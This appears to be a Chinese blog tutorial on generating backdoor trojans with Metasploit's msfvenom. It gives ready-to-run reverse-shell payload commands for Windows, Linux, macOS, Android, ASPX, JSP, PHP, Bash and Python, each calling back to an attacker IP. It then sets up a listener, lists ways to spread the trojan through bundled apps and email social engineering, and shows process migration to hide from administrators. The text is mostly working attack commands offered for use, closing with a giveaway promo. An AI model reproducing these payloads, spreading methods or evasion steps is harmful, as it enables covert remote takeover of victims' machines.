0****1
概述
上次我们聊到了通过目标系统漏洞来获取目标的权限,其实我们除了可以通过目标系统的漏洞来获取 meterpreter 之外,还可以直接通过木马获取。
msfvenom 就是 MSF 中用来生成后门木马的模块,在目标机器上执行后门木马,然后在本地配置监听目标即可上线,攻击机即可获得 meterpreter。
msfvenom 是 msfpayload 和 msfencode 的组合,将这两个工具集成在一个框架实例中。
msfvenom 主要生成可执行程序、DLL 文件、Webshell 和 Shellcode 等。
0****2
相关参数
-l <type>:列出相关类型(如 payloads, encoders, nops, platforms, archs, encrypt, formats, all)的所有模块信息。 -p <payload>:设置使用的 payload。 -p <payload> --list-options:列出指定的 payload 的相关参数。 -f <format>:设置输出格式。 --encoder <encoder>:设置所使用的编码器。 --service-name <value>:设置生成的二进制服务程序的名称。 --sec-name <value>:设置当生成大的 windows 二进制程序文件时使用的节(section)名。默认是四个随机字母组成的字符串。 --smallest:使用所有的编码器生成尽可能小的 payload。 --encrypt <value>:设置编码或加密 shellcode 的方式。 --encrypt-key <value>:设置加密密钥。 --encrypt-iv <value>:设置加密的初始向量 IV。 -a <arch>:设置 payload 使用的软件架构。 --platform <platform>:设置 payload 使用的平台。 -o <path>:将 payload 保存到指定的文件路径。 -b <list>:设置 payload 中需要避免的字符。 -n <length>:在 payload 中预置指定长度的滑板指令。 -s, --space <length>:设置生成的 payload 的最大文件大小。 --encoder-space <length>:设置编码后的 payload 的最大文件大小。 -i <count>:指定编码的次数。 -c <path> :指定包含额外的 win32 shellcode 的文件路径。 -x <path>:使用一个可执行文件当作模板。 -k:保留模板文件的功能,将 payload 作为线程注入。 -v <value>:为某些特定的输出格式指定变量名。 -t <second>:设置从 STDIN 读取 payload 的最长等待时间(单位为秒)。默认为 30 秒。设置为 0 表示禁用时间限制。 -h:输出帮助页面。
0****3
木马生成方法(MSF6)
这里针对不同的目标我们有不同的命令,但仔细看你会发现,命令整体结构其实差不多,区别主要在于目标架构不同。
Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f exe > shell.exe`` ``msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f c
Linux
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f macho > shell.macho
Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f raw > shell.apk`` ``msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 R > shell.apk
ASPX
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT= 8888 -f aspx -o shell.aspx
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f raw > shell.jsp
PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f raw > shell.php
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.49.139 LPORT=8888 -f raw > shell.sh
Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f raw > shell.py
0****4
举例—木马攻击
MSF 创建监听
首先进入 msf。
msfconsole
然后依次输入以下命令即可。
use exploit/multi/handler`` ``set lhost 192.168.49.139 # 攻击机的IP`` ``set lport 8888 # 攻击机监听的端口`` ``set payload windows/x64/meterpreter/reverse_tcp`` ``run
生成木马
重新开一个窗口,执行以下命令,这里需要注意的是 IP、PORT 要保持和上面创建监听时的值一致,payload 也需要一致。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.139 LPORT=8888 -f exe > shell.exe
然后将木马上传到目标系统
传播木马的常见方法
-
直接通过漏洞上传到目标服务器。
-
把木马和一个正常应用程序捆绑,发布到网上诱导用户下载。
-
社工,通过邮件附件进行传播。
-
…
这里我们简单一点,直接把木马拖到目标系统上,中间的木马传播环节我们就省略了,主要看一下木马上线的效果。
执行即可上线
在目标系统上双击执行木马,然后到 msf 中查看目标是否上线。
进程迁移
最后做一下进程迁移主要是为了防止管理员发现木马进程并结束木马进程,所以我们可以通过迁移隐藏一下,增加应急的难度。
而且注入之后原来的木马程序就算被删除了也没关系,只要进程还在,我们的权限就一直在,用起来爽歪歪!
查看木马在目标系统上运行的进程。
getpid
查看目标系统上目前存活的进程,这里会有很多进程,我只截取了前面一部分。
ps
选一个稳定的进程,迁移到这个进程中。
migrate 4084
最后你会发现木马原本的进程 3432 就不存在了。
`黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,点击下方蓝色字 即可免费领取↓↓↓
**读者福利 |**